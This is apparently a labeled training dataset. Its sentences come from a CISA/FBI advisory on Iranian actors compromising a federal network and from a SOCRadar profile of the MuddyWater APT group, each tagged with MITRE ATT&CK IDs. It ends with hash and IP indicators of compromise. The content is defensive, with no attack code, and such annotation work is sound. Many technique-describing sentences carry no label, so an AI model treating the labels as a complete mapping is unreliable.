{"sentence": "Immediately isolate affected systems.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Collect and review relevant logs, data, and artifacts.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Take a memory capture of the device(s) and a forensic image capture for detailed analysis.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Consider soliciting support from a third-party incident response organization that can provide subject matter expertise to ensure the actor is eradicated from the network and to avoid residual issues that could enable follow-on exploitation.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Report incidents to CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870) or your local FBI field office, or", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "FBI’s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at CyWatch@fbi.gov. MitigationsCISA and FBI recommend implementing the mitigations below and in Table 1 to improve your organization's cybersecurity posture on the basis of threat actor behaviors.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Install updated builds to ensure affected VMware Horizon and UAG systems are updated to the latest version.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "If updates or workarounds were not promptly applied following VMware’s release of updates for Log4Shell in December 2021, treat those VMware Horizon systems as compromised.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Follow the pro-active incident response procedures outlined above prior to applying updates.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "If no compromise is detected, apply these updates as soon as possible.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "See VMware Security Advisory VMSA-2021-0028.13 and VMware Knowledge Base (KB) 87073 to determine which VMware Horizon components are vulnerable.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Note: Until the update is fully implemented, consider removing vulnerable components from the internet to limit the scope of traffic.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "While installing the updates, ensure network perimeter access controls are as restrictive as possible.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "If upgrading is not immediately feasible, see KB87073 and KB87092 for vendor-provided temporary workarounds.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Implement temporary solutions using an account with administrative privileges.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Note that these temporary solutions should not be treated as permanent fixes; vulnerable components should be upgraded to the latest build as soon as possible.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Prior to implementing any temporary solution, ensure appropriate backups have been completed.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Verify successful implementation of mitigations by executing the vendor supplied script without parameters to ensure that no vulnerabilities remain.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "See KB87073 for details.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Keep all software up to date and prioritize patching known exploited vulnerabilities (KEVs).", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Minimize the internet-facing attack surface by hosting essential services on a segregated DMZ, ensuring strict network perimeter access controls, and not hosting internet-facing services that are not essential to business operations.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Where possible, implement regularly updated web application firewalls (WAF) in front of public-facing services.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "WAFs can protect against web-based exploitation using signatures and heuristics that are likely to block or alert on malicious traffic.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Use best practices for identity and access management (IAM) by implementing phishing resistant multifactor authentication (MFA), enforcing use of strong passwords, regularly auditing administrator accounts and permissions, and limiting user access through the principle of least privilege.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Disable inactive accounts uniformly across the AD, MFA systems, etc.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "If using Windows 10 version 1607 or Windows Server 2016 or later, monitor or disable Windows , also known as the Default System Managed Account (DSMA).", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Audit domain controllers to log successful Kerberos Ticket Granting Service (TGS) requests and ensure the events are monitored for anomalous activity.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Secure accounts.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Enforce the principle of least privilege.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Administrator accounts should have the minimum permission necessary to complete their tasks.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Ensure there are unique and distinct administrative accounts for each set of administrative tasks.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Create non-privileged accounts for privileged users and ensure they use the non-privileged accounts for all non-privileged access (e.g., web browsing, email access).", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Create a deny list of known compromised credentials and prevent users from using known-compromised passwords.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Secure credentials by restricting where accounts and credentials can be used and by using local device credential protection features.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Use virtualizing solutions on modern hardware and software to ensure credentials are securely stored.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Ensure storage of clear text passwords in LSASS memory is disabled.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Note: For Windows 8, this is enabled by default.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "For more information see Microsoft Security Advisory Update to Improve Credentials Protection and Management. Consider disabling or limiting NTLM and WDigest Authentication.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Implement Credential Guard for Windows 10 and Server 2016 (refer to Microsoft: Manage Windows Defender Credential Guard for more information).", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "For Windows Server 2012R2, enable Protected Process Light for Local Security Authority (LSA).", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Minimize the AD attack surface to reduce malicious ticket-granting activity.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Malicious activity such as “Kerberoasting” takes advantage of Kerberos’ TGS and can be used to obtain hashed credentials that threat actors attempt to crack.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "VALIDATE SECURITY CONTROLS", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "In addition to applying mitigations, CISA and FBI recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "CISA and FBI recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "To get started: Select an ATT&CK technique described in this advisory (see table 1).", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Align your security technologies against the technique.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Test your technologies against the technique.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Analyze your detection and prevention technologies performance.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Repeat the process for all security technologies to obtain a set of comprehensive performance data.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Tune your security program, including people, processes, and technologies, based on the data generated by this process.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "CISA and FBI recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "References [1] MITRE ATT&CK Version 11: Software – Ngrok Revisions Initial Version: November 16, 2022", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "This product is provided subject to this Notification and this Privacy & Use policy.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "By SOCRadar Research Security concerns grow day by day with the rise of cyberattacks.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Among the threats, cyber espionage is one of the prominent activities.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "It can be used to get a hold of sensitive or classified data that may be intellectual property, government, or trade secrets.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "The threat actors’ goals might be financial gain, reputational harm, political interests, or cyberwarfare.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Today, we’ll review a high-profile cyber espionage group MuddyWater.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Who is MuddyWater? Stuxnet was a big hit on Iran’s nuclear program in 2010.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Iran took that as a wake-up call and began investing in and improving its cyberwarfare capabilities.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "In 2011, Iranian threat actors began to be involved in sophisticated attacks.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "One area they focused on is cyber espionage campaigns.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "The first major campaign was observed in 2012, called the Madi campaign.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Operation categories of MuddyWater MuddyWater, also known as Static Kitten, UNC3313, or MERCURY, is an Iranian state-sponsored APT group.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "According to the FBI and other US and UK-based agencies, they operate as a subordinate element of the Iranian Ministry of Intelligence and Security (MOIS).", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "It is believed that they have been active since late 2017 and have been in close contact with MOIS since 2018.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "MuddyWater was observed to be conducting malicious activities across Europe, Asia, Africa, and North America.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "However, their main focus primarily resides on the middle east, per other Iranian threat actors.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "They are targeting private and government organizations listed below: Defense Education Energy Financial Services Government and administration agencies Healthcare High-Tech International Organizations Media Countries affected by MuddyWater", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "They are primarily conducting cyber espionage activities and intellectual property (IP) theft attacks, but on some occasions, they have deployed ransomware on the targets.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "However, it is believed they deployed ransomware to cover their tracks.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "How does MuddyWater Attack?", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "MuddyWater’s arsenal is vast.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "The group exploits various known vulnerabilities and uses a wide range of tools.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "For initial access, the group commonly leverages spear-phishing and tries to trick the victims into opening malicious documents hosted in commercial file-sharing services.", "labels": ["T1566.001"], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "After obtaining initial access, they usually drop web shell and gain local administrator access on the infected machine.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "On the compromised machine, they use tools such as Mimikatz to dump credentials.", "labels": ["T1003.001"], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "To broaden the compromise, they laterally move by leveraging in-built or deployed tools within the network.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "MuddyWater generally uses DNS to communicate with their C2 servers while using tools such as PowerShell, vpnui[.]exe (a unique version of Ligolo), and remote monitoring software such as ScreenConnect, Remote Utilities, and eHorus.", "labels": ["T1219"], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "The figure below shows an instance of the MuddyWater attack chain observed by Microsoft.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "MuddyWater attack chain (Source: Microsoft)", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Which Tools and Vulnerabilities MuddyWater Use? PowGoop DLL Loader: PowGoop malware is a malicious DLL loader.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "It disguises itself as a legitimate Google Update executable.", "labels": ["T1036.005"], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Small Sieve:", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Small Sieve is a simple Python backdoor used to distribute Nullsoft Scriptable Install System (NSIS) installer.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Canopy: Canopy is a spyware.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "It collects the victim’s username, computer name, and IP address and sends it to the MuddyWater group.", "labels": ["T1016", "T1033", "T1082"], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Canopy malware is also known as Starwhale malware.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Mori: Mori is a backdoor that uses Domain Name System tunneling to communicate with the group’s C2 infrastructure.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "POWERSTATS:", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "POWERSTATS is a backdoor that runs PowerShell scripts to maintain persistent access on the victim systems.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "MuddyWater-associated tools & vulnerabilities provided by SOCRadar Who Did MuddyWater Target in Their Campaigns? MuddyWater campaign timeline MuddyWater’s targets are mostly the neighbors of Iran in the middle east region.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "If we analyze the graphic below, we can see that Turkey, Israel, Iraq, UAE, and Pakistan are among the top targets of MuddyWater.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Observations may show that MuddyWater acts according to the political interests of the Iranian state through the connection of MOIS.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "So, countries in which Iran has political interests should be aware of MuddyWater’s cyber espionage campaigns.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Countries targeted by MuddyWater Motivations Behind MuddWater’s Attacks in the Last 2 Years", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "In September 2020, a series of agreements called the Abraham Accords were signed between Israel, United Arab Emirates, and Bahrain.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "These countries signed these agreements intending to normalize diplomatic relations in the region.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "The US brokered the agreements, a major diplomatic breakthrough in the Middle East.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "The Abraham Accords can be an improvement in the region from a neutral point of view, but some may feel uneasy about these agreements.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "In particular, Iran may have felt concerned about the Abraham Accords because they could lead to closer ties between Israel and other countries in the region, potentially undermining Iran’s influence.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "With these developments in mind, we may deduce that the cyber-espionage activities carried out by MuddyWater between September 2020 and March 2021 were a reaction to these agreements.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "MuddyWater, as far as known, primarily conducted campaigns in the middle east and its neighboring regions in late 2020 and early 2021.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "September 2020 – Operation Quicksand – Israel: According to ClearSky, MuddyWater targeted many prominent Israeli organizations.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "In this specific campaign, security researchers observed that the threat actor used a variant of Shamoon to encrypt data.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "However, it is believed that the intent of using Shamoon was not to deploy ransomware but to disrupt operations.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Operation Quicksand (Source: SOCRadar) March 2021 – Earth Vetala Campaign:", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "According to Trend Micro, Azerbaijan, Bahrain, Israel, Saudi Arabia, and the United Arab Emirates were the targets of the campaign.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Government agencies, academia, and tourism were some of the targeted sectors.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Latest Attacks of the Threat Actor In January 2022, cybersecurity researchers reported that MuddyWater targeted Turkish private organizations and governmental agencies.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "They used multiple malicious PDFs and MS Office documents during the campaign.", "labels": ["T1566.001"], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "With the spear phishing technique, the threat actors tried to convince the victims that the documents were from the Turkish Health and Internal Affairs Ministries.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Malicious PDF used in Turkey campaign (Source: Cisco Talos)", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "In another incident on December 2022, Deep Instinct reported that MuddyWater, conducted malicious activities, again using spear phishing through emails.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Israeli insurance companies were the targets of the attacks.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "As an evolving threat actor, they added a new tool for remote access, Syncro, to their arsenal.", "labels": ["T1219"], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Email from MuddyWater’s Israel attack (Source: Deep Instinct) Conclusion Observations of MuddyWater’s cyber espionage activities can lead to a conclusion that they act according to Iran’s political strategies through MOIS.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Whether it is because of the political implications, or another reason, Israel and Turkey seem to be significant targets for the MuddyWater.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "If you are an organization residing in the middle east, there might be a possibility of being a target of MuddyWater.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "What can you do to defend against them?", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Excluding the technical mitigations, keeping up with the political climate of the middle east region might give a heads-up if the tension rises.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "On the technical side, MuddyWater evolves with each attack they perform, but they still bear similar techniques.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "You can apply the following recommendations per your needs.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Security Recommendations Against MuddyWater MuddyWater leverages spear phishing.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Provide necessary training to your employees for security awareness.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Gain visibility into external-facing digital assets with an Attack Surface Management solution.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Regularly apply security patches and software updates.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Apply the least privilege principle across the network, especially to critical systems and services Secure domain controllers (DC) using best practices.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Enable multifactor authentication (MFA) to prevent lateral movement.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Refer to IOCs and take necessary actions toward mitigation.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "SOCRadar’s Attack Surface Management provides visibility into external-facing digital assets.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "SOCRadar has a predictive, preventive, and proactive approach toward security at its core.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "With SOCRadar’s Attack Surface Management, security teams can track which CVEs are present in the environment.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Knowing which CVEs are present in the organization can give the organization an advantage in defending against MuddyWater.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "SOCRadar Attack Surface Management Most threat actors specializing in cyber espionage widely leverage spear phishing, just as MuddyWater does.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "If you receive any suspicious email, you can use free SOC Tools on SOCRadar Labs to analyze it.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "SOCRadar SOC Tools provided by SOCRadar Labs MITRE ATT&CK Techniques Techniques ID Reconnaissance Gather Victim Identity Information: Email Addresses T1589.002 Resource Development Acquire Infrastructure: Web Services T1583.006 Obtain Capabilities: Tool T1588.002 Initial Access Phishing:", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Spearphishing Attachment T1566.001", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Spearphishing Link T1566.002 Execution Windows Management Instrumentation T1047 Command and Scripting Interpreter:", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "PowerShell T1059.001 Command and Scripting Interpreter:", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Windows Command Shell 1.059.003 Command and Scripting Interpreter:", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Visual Basic T1059.005 Command and Scripting Interpreter: Python T1059.006 Command and Scripting Interpreter:", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "JavaScript T1059.007 Exploitation for Client Execution T1203 User Execution: Malicious Link T1204.001 User Execution: Malicious File T1204.002 Inter-Process Communication: Component Object Model T1559.001 Inter-Process Communication: Dynamic Data Exchange T1559.002 Persistence Scheduled Task/Job: Scheduled Task T1053.005 Office Application Startup: Office Template Macros T1137.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder T1547.001 Privilege Escalation Abuse Elevation Control Mechanism: Bypass User Account Control T1548.002 Credentials from Password Stores T1555 Credentials from Web Browsers T1555.003 Defense Evasion Obfuscated Files or Information T1027 Steganography T1027.003 Compile", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "After Delivery T1027.004 Masquerading: Match Legitimate Name or Location T1036.005 Deobfuscate/Decode Files or Information T1140 Signed Binary Proxy Execution: CMSTP T1218.003 Signed Binary Proxy Execution: Mshta T1218.005 Signed Binary Proxy Execution: Rundll32 T1218.011 Execution Guardrails T1480 Impair Defenses:", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Disable or Modify Tools T1562.001 Credential Access OS Credential Dumping: LSASS Memory T1003.001 OS Credential Dumping: LSA Secrets T1003.004 OS Credential Dumping: Cached Domain Credentials T1003.005 Unsecured Credentials: Credentials In Files T1552.001 Discovery System Network Configuration Discovery T1016 System Owner/User Discovery T1033 System Network Connections Discovery T1049 Process Discovery T1057 System Information Discovery T1082 File and Directory Discovery T1083 Account Discovery: Domain Account T1087.002 Software Discovery T1518 Security Software Discovery T1518.001 Collection Screen Capture T1113 Archive Collected Data: Archive via Utility T1560.001 Command and Control Application Layer Protocol: Web Protocols T1071.001 Proxy: External Proxy T1090.002 Web Service:", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
{"sentence": "Bidirectional Communication T1102.002 Multi-Stage Channels T1104 Ingress Tool Transfer T1105 Data Encoding: Standard Encoding T1132.001 Data Encoding: Non-Standard Encoding T1132.002 Remote Access Software T1219 Exfiltration Exfiltration Over C2 Channel T1041 Appendix: Appendix 1: IOCs of PowGoop goopdate[.]dll MD5: a27655d14b0aabec8db70ae08a623317 SHA-1: 7649c554e87f6ea21ba86bb26ea39521d5d18151 SHA-256: 2c92da2721466bfbdaff7fedd9f3e8334b688a88ee54d7cab491e1a9df41258f File type: Win32 DLL File size: 88.50 KB (90624 bytes) vcruntime140[.]dll MD5: cec48bcdedebc962ce45b63e201c0624 SHA-1: 81f46998c92427032378e5dead48bdfc9128b225 SHA-256: dd7ee54b12a55bcc67da4ceaed6e636b7bd30d4db6f6c594e9510e1e605ade92 File type: Win32 DLL File size: 91.50 KB (93696 bytes) IOCs 104.208.16[.]94:443 (TCP) 20.42.65[.]92:443 (TCP) 20.42.73[.]29:443 (TCP) libpcre2-8-0[.]dll MD5: 860f5c2345e8f5c268c9746337ade8b7 SHA-1: 6c55d3acdc2d8d331f0d13024f736bc28ef5a7e1 SHA-256: 9d50fcb2c4df4c502db0cac84bef96c2a36d33ef98c454165808ecace4dd2051 File type: Win32 DLL File size: 94.50 KB (96768 bytes) IOCs 20.189.173[.]20:443 (TCP) 20.189.173[.]21:443 (TCP) 20.42.73[.]29:443 (TCP) Appendix 2: IOCs of Small Sieve gram_app[.]exe MD5: 15fa3b32539d7453a9a85958b77d4c95 SHA-1: 11d594f3b3cf8525682f6214acb7b7782056d282 SHA-256: b75208393fa17c0bcbc1a07857686b8c0d7e0471d00a167a07fd0d52e1fc9054 File type: Win32 EXE File size: 16.21 MB (16999598 bytes) IOCs 13.107.4[.]50:80 (TCP) 149.154[.]167.220:443 (TCP) 192.168.0[.]15:137 (UDP) 23.216.147[.]64:443 (TCP) 23.216.147[.]76:443 (TCP) a83f:8110:0:0:1400:1400:2800[:]3800:53 (UDP)", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"}
